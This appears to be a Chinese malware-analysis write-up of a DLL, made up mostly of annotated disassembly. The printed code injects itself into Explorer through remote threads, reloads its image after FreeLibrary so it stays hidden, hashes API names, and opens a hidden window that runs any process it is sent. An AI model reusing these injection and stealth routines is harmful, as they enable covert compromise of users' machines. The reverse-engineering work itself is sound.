//本函数无参数
//功能描述:获取Explorer进程PID,调用sub_1000225c函数。
1000241E E8 A1FFFFFF call 100023C4 ; 获取Explorer的进程ID
10002423 85C0 test eax, eax ;判断是否获得成功
10002425 75 06 jnz short 1000242D
10002427 FF15 50100010 call dword ptr [10001050] ; 如果获取失败了 就GetCurrentProcessId
1000242D FF35 04260010 push dword ptr [10002604] ; push 本dll句柄 ,是一个全局变量
10002433 50 push eax ; push 进程ID
10002434 E8 23FEFFFF call 1000225C ; 重要call,这里完成一些注入的动作
10002439 59 pop ecx
1000243A 59 pop ecx
1000243B C3 retn
【函数 sub_100023c4】 分析:
//获得Explorer进程ID, 方法不是枚举进程名,挺有创意的方法
//功能描述:获得Explorer进程的PID
int __cdecl sub_100023C4()
{
HMODULE v0; // eax@1
HMODULE v1; // edi@1
FARPROC v2; // eax@2
FARPROC v3; // ebx@2
FARPROC v4; // esi@2
int v5; // eax@4
int result; // eax@5
int v7; // [sp+Ch] [bp-4h]@5
v0 = LoadLibraryA("user32");
v1 = v0;
if ( v0
&& (v3 = GetProcAddress(v0, "FindWindowA"), v2 = GetProcAddress(v1, "GetWindowThreadProcessId"), v4 = v2, v3)
&& v2
&& (v5 = ((int (__stdcall *)(_DWORD, _DWORD))v3)("Shell_TrayWnd", 0)) != 0 ) //调用FindWindowA获得Explorer 进程的托盘窗体的句柄
{
((void (__stdcall *)(int, int *))v4)(v5, &v7); //调用GetWindowThreadProcessId 获得Explorer进程ID
result = v7;
}
else
{
result = 0;
}
return result;
}
【函数 sub_1000225c】分析:
//此函数原型是 int __cdecal sub_1000225c(DWORD dwProcessID, HMODULE hDllMod);
//功能描述:
①根据传进来的进程ID打开进程
②根据传进来的dll基址,获得敏感函数地址,这里是获得CreateRemoteThread函数
1000225C 55 push ebp
1000225D 8BEC mov ebp, esp
1000225F B8 10100000 mov eax, 1010
10002264 E8 F7010000 call 10002460 ; 这是个申请栈空间的函数,编译器给加的,eax传参,可以理解为 sub esp,0x1010
10002269 53 push ebx
1000226A FF75 08 push dword ptr [ebp+8] ; push &ProcessHandle
1000226D 33DB xor ebx, ebx
1000226F 53 push ebx ; push 0
10002270 68 FF0F1F00 push 1F0FFF ; push PROCESS_ALL_ACCESS
10002275 895D F8 mov dword ptr [ebp-8], ebx
10002278 FF15 7C100010 call dword ptr [1000107C] ; kernel32.OpenProcess
1000227E 3BC3 cmp eax, ebx
10002280 8945 FC mov dword ptr [ebp-4], eax
10002283 0F84 35010000 je 100023BE ; 打开失败就跳走了
10002289 56 push esi
1000228A 68 44130010 push 10001344 ; ASCII "kernel32"
1000228F FF15 28100010 call dword ptr [10001028] ; kernel32.GetModuleHandleA
10002295 8BF0 mov esi, eax ; esi = Kernel32 ModuleHandle
10002297 68 108C80FF push FF808C10
1000229C 56 push esi
1000229D E8 8FF1FFFF call 10001431 ; 很精彩的函数,见后面的分析
100022A2 3BC3 cmp eax, ebx
100022A4 8945 F0 mov dword ptr [ebp-10], eax
100022A7 0F84 07010000 je 100023B4
100022AD A1 24100010 mov eax, dword ptr [10001024] ; eax = ExitThread地址
100022B2 8985 04F8FFFF mov dword ptr [ebp-7FC], eax
100022B8 A1 84100010 mov eax, dword ptr [10001084] ; eax = FreeLibrary地址
100022BD 8985 F4F7FFFF mov dword ptr [ebp-80C], eax
100022C3 A1 4C100010 mov eax, dword ptr [1000104C] ; eax = IsBadReadPtr地址
100022C8 57 push edi
100022C9 8985 F8F7FFFF mov dword ptr [ebp-808], eax
100022CF A1 8C100010 mov eax, dword ptr [1000108C] ; eax = LoadLibraryA地址
100022D4 68 7C130010 push 1000137C ; push "RtlMoveMemory"
100022D9 56 push esi ; push Kernel基址
100022DA 8985 F0F7FFFF mov dword ptr [ebp-810], eax
100022E0 FF15 80100010 call dword ptr [10001080] ; 获取 kernel32.RtlMoveMemory地址
100022E6 8985 08F8FFFF mov dword ptr [ebp-7F8], eax
100022EC A1 9C100010 mov eax, dword ptr [1000109C] ; eax = VirtualAlloc地址
100022F1 8985 FCF7FFFF mov dword ptr [ebp-804], eax
100022F7 A1 90100010 mov eax, dword ptr [10001090] ; eax = VirtualFree
100022FC 8985 00F8FFFF mov dword ptr [ebp-800], eax
10002302 B8 A4210010 mov eax, 100021A4 ; eax = 100021a4函数地址
10002307 2B45 0C sub eax, dword ptr [ebp+C] ; eax -= 本dll模块基址
1000230A 68 04010000 push 104
1000230F 8985 0CF8FFFF mov dword ptr [ebp-7F4], eax
10002315 8D85 10F8FFFF lea eax, dword ptr [ebp-7F0]
1000231B 50 push eax ; 栈空间
1000231C FF75 0C push dword ptr [ebp+C] ; push 本dll模块基址
1000231F FF15 54100010 call dword ptr [10001054] ; GetModuleFileNameA 获得dll全路径
10002325 68 00080000 push 800
1000232A 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002330 68 C9210010 push 100021C9 ; 函数地址 100021c9入栈
10002335 50 push eax
10002336 E8 11010000 call 1000244C ; memcpy 从100021c9拷贝0x800字节到 堆栈中
1000233B 83C4 0C add esp, 0C
1000233E 6A 40 push 40 ; push 0x40
10002340 BE 00100000 mov esi, 1000
10002345 56 push esi ; push 0x1000
10002346 56 push esi ; push 0x1000
10002347 53 push ebx ; push 0
10002348 FF75 FC push dword ptr [ebp-4] ; Explorer 进程句柄
1000234B FF15 68100010 call dword ptr [10001068] ; kernel32.VirtualAllocEx
10002351 8BF8 mov edi, eax ; edi = 新申请的空间 02cd0000
10002353 3BFB cmp edi, ebx
10002355 74 5C je short 100023B3
10002357 8D45 F4 lea eax, dword ptr [ebp-C]
1000235A 50 push eax ; push 堆栈地址
1000235B 56 push esi ; push 0x1000
1000235C 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002362 50 push eax ; 要写入的内存 100021c9函数的内存
10002363 57 push edi ; 新申请的内存地址 = 02cd0000
10002364 FF75 FC push dword ptr [ebp-4] ; Explorer进程句柄
10002367 FF15 6C100010 call dword ptr [1000106C] ; WriteProcessMemory写到Explorer进程空间,这里写入了0x1000个字节,除去之前拷贝的0x800,多拷贝的0x200的堆栈数据,这0x200的数据刚好是前面保存的一些api函数地址数组
1000236D 85C0 test eax, eax
1000236F 74 42 je short 100023B3
10002371 8D45 F4 lea eax, dword ptr [ebp-C]
10002374 50 push eax ; &TheadID
10002375 53 push ebx ; dwCreationFlags = 0
10002376 8D87 00080000 lea eax, dword ptr [edi+800]
1000237C 50 push eax ; 参数是 远程线程地址+0x800
1000237D 57 push edi ; 远程线程地址,就是前面VirtualAllocEx的地址 02cd0000
1000237E 53 push ebx ; 默认堆栈大小 = 0
1000237F 53 push ebx ; LPSECURITY_ATTRIBUTES = 0
10002380 FF75 FC push dword ptr [ebp-4] ; Explorer进程句柄
10002383 FF55 F0 call dword ptr [ebp-10] ; 创建远程线程,然后下面的就是一些资源清理就不先管了
10002386 8BF0 mov esi, eax
10002388 3BF3 cmp esi, ebx
1000238A 74 17 je short 100023A3
1000238C 6A FF push -1
1000238E 56 push esi
1000238F FF15 48100010 call dword ptr [10001048] ; kernel32.WaitForSingleObject
10002395 56 push esi
10002396 FF15 94100010 call dword ptr [10001094] ; kernel32.CloseHandle
1000239C C745 F8 0100000>mov dword ptr [ebp-8], 1
100023A3 68 00800000 push 8000
100023A8 53 push ebx
100023A9 57 push edi
100023AA FF75 FC push dword ptr [ebp-4]
100023AD FF15 44100010 call dword ptr [10001044] ; kernel32.VirtualFreeEx
100023B3 5F pop edi
100023B4 FF75 FC push dword ptr [ebp-4]
100023B7 FF15 94100010 call dword ptr [10001094] ; kernel32.CloseHandle
100023BD 5E pop esi
100023BE 8B45 F8 mov eax, dword ptr [ebp-8]
100023C1 5B pop ebx
100023C2 C9 leave
100023C3 C3 retn
【函数 sub_10001431】分析:
//参数a1; Dll模块基址,比如通过GetModuleHandle("kernel32")获得的Kernel32的基址,
//参数a2: 一个数字
//功能:通过a1 查找出本dll所有的导出函数名,取函数名的CRC值 与 a2比较,如果相等就返回此函数地址
int __stdcall sub_10001431(int a1, int a2)
{
int v2; // esi@1
int result; // eax@2
int v4; // ebx@3
int v5; // edi@3
int v6; // eax@3
int v7; // eax@3
int v8; // [sp+4h] [bp-8h]@3
unsigned int v9; // [sp+8h] [bp-4h]@3
unsigned int v10; // [sp+14h] [bp+8h]@3
v2 = a1;
if ( a1 )
{
v6 = *(_DWORD *)(*(_DWORD *)(a1 + 60) + a1 + 120);
v10 = 0;
v7 = v2 + v6;
v5 = v2 + *(_DWORD *)(v7 + 32);
v4 = v2 + *(_DWORD *)(v7 + 28);
v8 = v2 + *(_DWORD *)(v7 + 36);
v9 = *(_DWORD *)(v7 + 24);
if ( v9 )
{
while ( sub_100013F9(v2 + *(_DWORD *)(v5 + 4 * v10)) != a2 ) //sub_100013F9函数就计算一个字符串的CRC, 一个参数,这里就不分析此函数了
{
++v10;
if ( v10 >= v9 )
goto LABEL_6;
}
result = v2 + *(_DWORD *)(v4 + 4 * *(_WORD *)(v8 + 2 * v10));
}
else
{
LABEL_6:
result = 0;
}
}
else
{
result = 0;
}
return result;
}
【注入Explorer后远程线程】分析: 调试方法: 先把代码停在下面这句 10002362 50 push eax 然后 d eax 刚好是dll!10021c9函数的代码 然后 d eax+0x800 从上到下从左到右依次是函数: LoadLibraryA, FreeLibrary, IsBadReadPtr, VirtualAlloc,VirtualFree,ExitThread,RtlMoveMemory的地址 因此WriteProcessMemory并不是简单把dll!100021c9处的0x800个字节拷贝的自己的进程空间,0x800后面的一些是远程线程的参数,参数也不止这几个函数地址,其实还有dll的全路径 再把代码停在下面这句 10002383 FF55 F0 call dword ptr [ebp-10] ; 创建远程线程 然后,用OD 附加到Explorer进程上去,然后看一下地址02cd0000,发现刚好是我们拷贝过去的dll!100021c9函数的内容,在这里下个断点 bp 02cd0000,先不要跑起来,先看看02cd0800处的参数是不是跟上面一样 d 02cd0000 d 02cd0000+0x800
参数不光这几个api地址,还有dll全路径。 现在把dll跑起来,发现被附加的Explorer进程断下来了,停在02cd0000处 【功能描述】: 此函数是一个远程线程函数, 参数就是本函数地址+0x800 ①LoadLibraryA上面分析的dll, LoadLibraryA的地址就藏在+0x800后面的地址,dll全路径也是 ②根据PE格式和dll基址, 计算本dll的镜像大小,VirtualAlloc申请这么大一片内存 ③拷贝整个dll镜像(dll基址开始的镜像大小个字节)到新申请的内存 ④FreeLibrary释放dll ⑤继续以释放的dll基址为起始地址 VirtualAlloc申请同样大小的内存 ⑥拷贝第一次申请的内存的数据到第二次申请的内存数据 ⑦执行一个dll函数,虽然此时dll已经被释放了,数据在内存里,找到那个地址,执行之。 ⑧释放第一次申请的内存数据,清理资源,远程线程结束。 End:精彩之处在于差不多dll模块信息,但是可以调用dll函数,重定位等工作loadlibrary已经帮你完成了,精彩! 02CD0000 55 push ebp
02CD0001 8BEC mov ebp, esp
02CD0003 51 push ecx
02CD0004 56 push esi
02CD0005 8B75 08 mov esi, dword ptr [ebp+8] ; esi = 本线程的参数
02CD0008 57 push edi
02CD0009 8D46 20 lea eax, dword ptr [esi+20] ; eax = 那个dll的全路径地址
02CD000C 50 push eax
02CD000D FF16 call dword ptr [esi] ; LoadLibraryA(dll全路径)
02CD000F 8BF8 mov edi, eax ; edi 新加载的dll基地址
02CD0011 85FF test edi, edi
02CD0013 74 73 je short 02CD0088
02CD0015 8B47 3C mov eax, dword ptr [edi+3C] ; 取dll 的PE头偏移,
0x3c是IMAGE_DOS_HEADER 的e_lfanew变量的偏 移
02CD0018 8365 08 00 and dword ptr [ebp+8], 0
02CD001C 53 push ebx ; ebx = 本线程的参数, 我不清楚这地方是怎么传给ebx的
02CD001D 8B5C38 50 mov ebx, dword ptr [eax+edi+50] ; ebx = 0x4000 dll的镜像大小, IMAGE_NT_HEADERS + 0x50 刚好是 IMAGE_OPTIONAL_HEADER.SizeOfImage,即镜像大小
02CD0021 53 push ebx
02CD0022 57 push edi ; dll基址
02CD0023 FF56 08 call dword ptr [esi+8] ; IsBadReadPtr判断下dll的整个镜像是否可读
02CD0026 85C0 test eax, eax
02CD0028 75 24 jnz short 02CD004E
02CD002A 8B46 1C mov eax, dword ptr [esi+1C] ; eax = 0x21a4, 这是远程线程传过来的参数
02CD002D 03C7 add eax, edi ; 加上dll基地址
02CD002F 8945 FC mov dword ptr [ebp-4], eax
02CD0032 74 1A je short 02CD004E
02CD0034 6A 04 push 4
02CD0036 68 00100000 push 1000
02CD003B 53 push ebx ; 0x4000
02CD003C 6A 00 push 0
02CD003E FF56 0C call dword ptr [esi+C] ; VirtualAlloc,申请dll镜像大小的内存
02CD0041 85C0 test eax, eax
02CD0043 8945 08 mov dword ptr [ebp+8], eax
02CD0046 74 06 je short 02CD004E
02CD0048 53 push ebx ; 0x4000
02CD0049 57 push edi ; dll基地址
02CD004A 50 push eax ; 新申请的地址
02CD004B FF56 18 call dword ptr [esi+18] ; RtlMoveMomory 把整个dll镜像拷贝新地址
02CD004E 57 push edi ; dll基址
02CD004F FF56 04 call dword ptr [esi+4] ; FreeLibrary 释放dll
02CD0052 837D FC 00 cmp dword ptr [ebp-4], 0
02CD0056 74 1C je short 02CD0074
02CD0058 6A 40 push 40
02CD005A 68 00300000 push 3000
02CD005F 53 push ebx ; 0x4000
02CD0060 57 push edi ; 就用释放前dll基址开始申请
02CD0061 FF56 0C call dword ptr [esi+C] ; VirtualAlloc
02CD0064 3BC7 cmp eax, edi ;隐含edi = eax
如果不相等就跳走了
02CD0066 75 0C jnz short 02CD0074
02CD0068 53 push ebx ; 0x4000 dll镜像大小
02CD0069 FF75 08 push dword ptr [ebp+8] ; 第一次申请的地址
02CD006C 57 push edi ; 第二次申请的新的地址
02CD006D FF56 18 call dword ptr [esi+18] ; RtlMoveMemory 拷贝到新地址
02CD0070 57 push edi ; 还是相当于dll基址,但此时dll已经释放了
02CD0071 FF55 FC call dword ptr [ebp-4] ; 执行原dll中100021a4函数 此函数创建一个 线程, 线程地址为原dll中10002033地址
02CD0074 837D 08 00 cmp dword ptr [ebp+8], 0
02CD0078 5B pop ebx ; ebx 本线程的参数
02CD0079 74 0D je short 02CD0088
02CD007B 68 00800000 push 8000
02CD0080 6A 00 push 0
02CD0082 FF75 08 push dword ptr [ebp+8] ; 第一次申请的地址
02CD0085 FF56 10 call dword ptr [esi+10] ; 释放掉之前申请的
02CD0088 6A 00 push 0
02CD008A FF56 14 call dword ptr [esi+14] ; ExitThread退出本线程
02CD008D 5F pop edi
02CD008E 5E pop esi
02CD008F C9 leave
02CD0090 C2 0400 retn 4
//上面红色的实际上的调用原dll中sub_100021a4代码
【函数 sub_100021a4】分析:
功能分析:功能非常简单, 创建一个线程, 线程地址是1002033, 参数是dll基址
100021A4 /. 55 push ebp
100021A5 |. 8BEC mov ebp, esp
100021A7 |. 8D45 08 lea eax, dword ptr [ebp+8]
100021AA |. 50 push eax ; /pThreadId
100021AB |. 33C0 xor eax, eax ; |
100021AD |. 50 push eax ; |CreationFlags => 0
100021AE |. FF75 08 push dword ptr [ebp+8] ; |pThreadParm
100021B1 |. 68 33200010 push 10002033 ; |ThreadFunction = 1.10002033
100021B6 |. 50 push eax ; |StackSize => 0
100021B7 |. 50 push eax ; |pSecurity => NULL
100021B8 |. FF15 2C100010 call dword ptr [<&KERNEL32.CreateThre>; \CreateThread
100021BE |. 50 push eax ; /hObject
100021BF |. FF15 94100010 call dword ptr [<&KERNEL32.CloseHandl>; \CloseHandle
100021C5 |. 5D pop ebp
100021C6 \. C2 0400 retn 4
IDA伪代码如下:
BOOL __stdcall sub_100021A4(LPVOID ThreadId)
{
HANDLE v2; // eax@1
v2 = CreateThread(0, 0, StartAddress, ThreadId, 0, (LPDWORD)&ThreadId);
return CloseHandle(v2);
}
根据我的跟踪调试,上面的红色代码push的地址 就是原dll中 sub_10002033代码
【函数 sub_10002033】分析:(这是附加到Explorer进程调试的 代码一样基址不一样 不影响分析)
功能分析:
①创建一个名为"Yamamoto_56"互斥量,如果互斥量已经存在就返回。
②注册一个窗体类,并创建一个窗体,并将窗体隐藏,窗体WndProc地址是原dll地址sub_10001f91
③调用原dll的函数sub_10001cc6,参数有2个,第一个参数是窗体句柄,第二个参数是1
④设置一个定时器,句柄就是窗体句柄,每3分钟执行一次,定时器ID = 1
⑤创建一个线程,线程地址是原dll函数 sub_10002033,也就是他自己?!自己创建自己地址的线程啊,狠~~~,不过没什么关系, 因为下次的时候,那个互斥量就存在了,然后就返回了.
End:剩下的任务就是分析上面提到的这2个标红的地址函数做了些什么就ok了
02992033 55 push ebp
02992034 8BEC mov ebp, esp
02992036 83EC 6C sub esp, 6C
02992039 56 push esi
0299203A 57 push edi
0299203B 8B7D 08 mov edi, dword ptr [ebp+8] ; 假的dll基址,因为虽然dll被释放了 但整个dll的镜像数据还在 就算是个假dll基址吧
0299203E 33F6 xor esi, esi
02992040 3BFE cmp edi, esi
02992042 74 56 je short 0299209A
02992044 53 push ebx ; ebx 也是镜像基址,搞不懂是怎么传进来的
02992045 33DB xor ebx, ebx
02992047 43 inc ebx
02992048 53 push ebx ; push 1
02992049 8D45 E0 lea eax, dword ptr [ebp-20] ; 栈地址
0299204C 50 push eax ; push 栈地址
0299204D FF15 08109902 call dword ptr [2991008] ; ADVAPI32.InitializeSecurityDescriptor
02992053 56 push esi ; push 0
02992054 56 push esi ; push 0
02992055 53 push ebx ; push 1
02992056 8D45 E0 lea eax, dword ptr [ebp-20] ; 栈地址
02992059 50 push eax ; push 栈地址
0299205A FF15 0C109902 call dword ptr [299100C] ; ADVAPI32.SetSecurityDescriptorDacl
02992060 8D45 E0 lea eax, dword ptr [ebp-20]
02992063 68 70139902 push 2991370 ; ASCII "Yamamoto_56"
02992068 8945 F8 mov dword ptr [ebp-8], eax
0299206B 56 push esi ; push 0
0299206C 8D45 F4 lea eax, dword ptr [ebp-C]
0299206F 50 push eax ; push pSecurity
02992070 C745 F4 0C00000>mov dword ptr [ebp-C], 0C
02992077 895D FC mov dword ptr [ebp-4], ebx
0299207A FF15 18109902 call dword ptr [2991018] ; kernel32.CreateMutexA
02992080 8945 08 mov dword ptr [ebp+8], eax ; 保存互斥句柄
02992083 FF15 1C109902 call dword ptr [299101C] ; ntdll.RtlGetLastWin32Error
02992089 3D B7000000 cmp eax, 0B7 ; GetLastError = 0xb7表示已经存在了
0299208E 75 12 jnz short 029920A2 ; 如果创建成功了,就跳到 0299209f,没成功就返回02992090 FF75 08 push dword ptr [ebp+8]
02992093 FF15 94109902 call dword ptr [2991094] ; kernel32.CloseHandle
02992099 5B pop ebx
0299209A 5F pop edi
0299209B 33C0 xor eax, eax
0299209D 5E pop esi
0299209E C9 leave
0299209F C2 0400 retn 4
029920A2 A1 40119902 mov eax, dword ptr [2991140] ; 字符串 "YKW"
029920A7 68 2A209902 push 299202A ; //一个回调函数地址,此函数就一句话ExitThread
029920AC C745 94 3000000>mov dword ptr [ebp-6C], 30 ; 下面是填充一个结构体
029920B3 C745 98 0300000>mov dword ptr [ebp-68], 3
029920BA C745 9C 911F990>mov dword ptr [ebp-64], 2991F91 ; WndProc地址
029920C1 8975 A0 mov dword ptr [ebp-60], esi
029920C4 8975 A4 mov dword ptr [ebp-5C], esi
029920C7 897D A8 mov dword ptr [ebp-58], edi
029920CA 8975 B0 mov dword ptr [ebp-50], esi
029920CD 8975 AC mov dword ptr [ebp-54], esi
029920D0 C745 B4 0600000>mov dword ptr [ebp-4C], 6
029920D7 8975 B8 mov dword ptr [ebp-48], esi
029920DA 8945 BC mov dword ptr [ebp-44], eax
029920DD 8975 C0 mov dword ptr [ebp-40], esi
029920E0 FF15 B8109902 call dword ptr [29910B8] ; 添加一个异常处理,防止崩溃
029920E6 68 68139902 push 2991368 ; ASCII "ntdll"
029920EB FF15 28109902 call dword ptr [2991028] ; GetModuleHandle 获得Ntdll基址
029920F1 68 50139902 push 2991350 ; ASCII "ZwUnmapViewOfSection"
029920F6 50 push eax
029920F7 FF15 80109902 call dword ptr [2991080] ; 获得 ZwUnmapViewOfSection地址
029920FD 53 push ebx ; push 1
029920FE A3 00269902 mov dword ptr [2992600], eax
02992103 FF15 20109902 call dword ptr [2991020] ; kernel32.SetErrorMode
02992109 8D45 94 lea eax, dword ptr [ebp-6C]
0299210C 50 push eax
0299210D FF15 F4109902 call dword ptr [29910F4] ; USER32.RegisterClassExA
02992113 56 push esi ; lParam = 0
02992114 57 push edi ; 假dll基址=hInst
02992115 56 push esi ; hMenu
02992116 56 push esi ; hParent
02992117 6A 64 push 64 ; Height
02992119 6A 64 push 64 ; Width
0299211B 56 push esi ; y = 0
0299211C 893D 10269902 mov dword ptr [2992610], edi
02992122 8B47 3C mov eax, dword ptr [edi+3C]
02992125 8B4438 50 mov eax, dword ptr [eax+edi+50] ; 又是取镜像dll基址
02992129 56 push esi ; x = 0
0299212A 68 0000CF00 push 0CF0000 ; Style = WS_OVERLAPPED|WS_MINIMIZEBOX|WS_MAXIMIZEBOX|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION
0299212F A3 14269902 mov dword ptr [2992614], eax
02992134 A1 40119902 mov eax, dword ptr [2991140]
02992139 50 push eax ; push "YKW" WindowName
0299213A 50 push eax ; push "YKW" Class
0299213B 56 push esi ; ExtStyle = 0
0299213C FF15 F8109902 call dword ptr [29910F8] ; USER32.CreateWindowExA
02992142 56 push esi ; Repaint = FALSE
02992143 56 push esi ; Height = 0
02992144 8BF8 mov edi, eax ; Handle
02992146 56 push esi ; Width = 0
02992147 B8 10270000 mov eax, 2710
0299214C 50 push eax ; y = 10000d
0299214D 50 push eax ; x = 10000d
0299214E 57 push edi ; Handle
0299214F FF15 FC109902 call dword ptr [29910FC] ; MoveWindow 藏起来。。。
02992155 56 push esi ; ShowState = SW_HIDE
02992156 57 push edi ; Handle
02992157 FF15 00119902 call dword ptr [2991100] ; USER32.ShowWindow
0299215D 53 push ebx ; push 1
0299215E 57 push edi ; push Handle
0299215F E8 62FBFFFF call 02991CC6 ; 后面有分析
02992164 59 pop ecx
02992165 59 pop ecx
02992166 56 push esi ; lpTimeProc = NULL
02992167 68 20BF0200 push 2BF20 ; uElapse = 180000 即 3分钟
0299216C 53 push ebx ; nIDEvent
0299216D 57 push edi ; Handle句柄
0299216E FF15 04119902 call dword ptr [2991104] ; SetTimer 定时器每3min
02992174 56 push esi
02992175 56 push esi
02992176 56 push esi
02992177 8D45 C4 lea eax, dword ptr [ebp-3C]
0299217A 50 push eax
0299217B FF15 08119902 call dword ptr [2991108] ; USER32.GetMessageA.创建消息泵
02992181 83F8 FF cmp eax, -1
02992184 7C 08 jl short 0299218E
02992186 3BC6 cmp eax, esi
02992188 ^ 0F8E 0BFFFFFF jle 02992099
0299218E 8D45 C4 lea eax, dword ptr [ebp-3C]
02992191 50 push eax
02992192 FF15 0C119902 call dword ptr [299110C] ; USER32.TranslateMessage
02992198 8D45 C4 lea eax, dword ptr [ebp-3C]
0299219B 50 push eax
0299219C FF15 10119902 call dword ptr [2991110] ; USER32.DispatchMessageA
029921A2 ^ EB D0 jmp short 02992174
029921A4 55 push ebp
029921A5 8BEC mov ebp, esp
029921A7 8D45 08 lea eax, dword ptr [ebp+8]
029921AA 50 push eax
029921AB 33C0 xor eax, eax
029921AD 50 push eax
029921AE FF75 08 push dword ptr [ebp+8]
029921B1 68 33209902 push 2992033 ; 又创建了一个线程,注意地址是本函数哦。。。
029921B6 50 push eax
029921B7 50 push eax
029921B8 FF15 2C109902 call dword ptr [299102C] ; CreateThread 又创建了一个线程,就是他自己
029921BE 50 push eax
029921BF FF15 94109902 call dword ptr [2991094] ; kernel32.CloseHandle
029921C5 5D pop ebp
029921C6 C2 0400 retn 4
【窗体WndProc函数】分析:
功能分析:
这是一个窗体回调函数
①有WM_TIMER消息就直接执行函数 sub_10001CC6 ,这个函数还没开始分析,先不要着急
②有WM_COPYDATA消息,就取COPYDATASTRUCT.lpData这个字符串,然后创建一个进程,如果进程创建成功了,就把定时器杀 掉,当然在创建进程前 会去做 sub_10001F05 后面分析。
End:此窗体回调功能有些变态, 可以执行任意的进程(把exe全路径+参数 发个消息过来就行了), 并能定时去做sub_10001CC6。
.text:10001F91 ; int __stdcall sub_10001F91(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
.text:10001F91 sub_10001F91 proc near ; DATA XREF: StartAddress+87o
.text:10001F91
.text:10001F91 StartupInfo = _STARTUPINFOA ptr -54h
.text:10001F91 ProcessInformation= _PROCESS_INFORMATION ptr -10h
.text:10001F91 hWnd = dword ptr 8
.text:10001F91 Msg = dword ptr 0Ch
.text:10001F91 wParam = dword ptr 10h
.text:10001F91 lParam = dword ptr 14h
.text:10001F91
.text:10001F91 push ebp
.text:10001F92 mov ebp, esp
.text:10001F94 sub esp, 54h
.text:10001F97 cmp [ebp+Msg], 4Ah ;WM_COPYDATA
.text:10001F9B push edi
.text:10001F9C mov edi, [ebp+lParam]
.text:10001F9F jz short loc_10001FB9
.text:10001FA1 cmp [ebp+Msg], 113h ;WM_TIMER
.text:10001FA8 jnz short loc_10002015
.text:10001FAA push [ebp+wParam]
.text:10001FAD push [ebp+hWnd]
.text:10001FB0 call sub_10001CC6 ;定时器执行这个函数, 下面有分析
.text:10001FB5 pop ecx
.text:10001FB6 pop ecx
.text:10001FB7 jmp short loc_10002015
.text:10001FB9 ; ---------------------------------------------------------------------------
.text:10001FB9
.text:10001FB9 loc_10001FB9: ; CODE XREF: sub_10001F91+Ej
.text:10001FB9 cmp dword ptr [edi], 200h ;COPYDATASTRUCT.dwData == 0x200
.text:10001FBF jnz short loc_10002015
.text:10001FC1 cmp dword ptr [edi+4], 104h ;COPYDATASTRUCT.dwData == 0x104
.text:10001FC8 jnz short loc_10002015
.text:10001FCA push esi
.text:10001FCB mov esi, [edi+8] ;COPYDATASTRUCT.lpData 是一个字符串地址
.text:10001FCE push esi ; lpFileName
.text:10001FCF call GetFileAttributesA ;判断文件是否存在
.text:10001FD5 cmp eax, 0FFFFFFFFh
.text:10001FD8 jz short loc_10002014
.text:10001FDA lea eax, [ebp+StartupInfo]
.text:10001FDD push eax ; lpStartupInfo
.text:10001FDE call GetStartupInfoA ;获得进程启动信息
.text:10001FE4 or byte ptr [ebp+StartupInfo.dwFlags], 80h;添加 STARTF_FORCEOFFFEEDBACK属
.text:10001FE8 call sub_10001F05 ;调用一个函数, 下面有分析此函数功能
.text:10001FED lea eax, [ebp+ProcessInformation]
.text:10001FF0 push eax ; lpProcessInformation
.text:10001FF1 lea eax, [ebp+StartupInfo]
.text:10001FF4 push eax ; lpStartupInfo
.text:10001FF5 xor eax, eax
.text:10001FF7 push eax ; lpCurrentDirectory
.text:10001FF8 push eax ; lpEnvironment
.text:10001FF9 push eax ; dwCreationFlags
.text:10001FFA push eax ; bInheritHandles
.text:10001FFB push eax ; lpThreadAttributes
.text:10001FFC push eax ; lpProcessAttributes
.text:10001FFD push eax ; lpCommandLine
.text:10001FFE push esi ; lpApplicationName
.text:10001FFF call CreateProcessA ;创建进程,参数是COPYDATASTRUCT.lpData
.text:10002005 test eax, eax
.text:10002007 jz short loc_10002014 ;创建进程成功后会杀掉定时器
.text:10002009 push 1 ; uIDEvent
.text:1000200B push [ebp+hWnd] ; hWnd
.text:1000200E call KillTimer
.text:10002014
.text:10002014 loc_10002014: ; CODE XREF: sub_10001F91+47j
.text:10002014 ; sub_10001F91+76j
.text:10002014 pop esi
.text:10002015
.text:10002015 loc_10002015: ; CODE XREF: sub_10001F91+17j
.text:10002015 ; sub_10001F91+26j ...
.text:10002015 push edi ; lParam
.text:10002016 push [ebp+wParam] ; wParam
.text:10002019 push [ebp+Msg] ; Msg
.text:1000201C push [ebp+hWnd] ; hWnd
.text:1000201F call DefWindowProcA
.text:10002025 pop edi
.text:10002026 leave
.text:10002027 retn 10h
.text:10002027 sub_10001F91 endp
|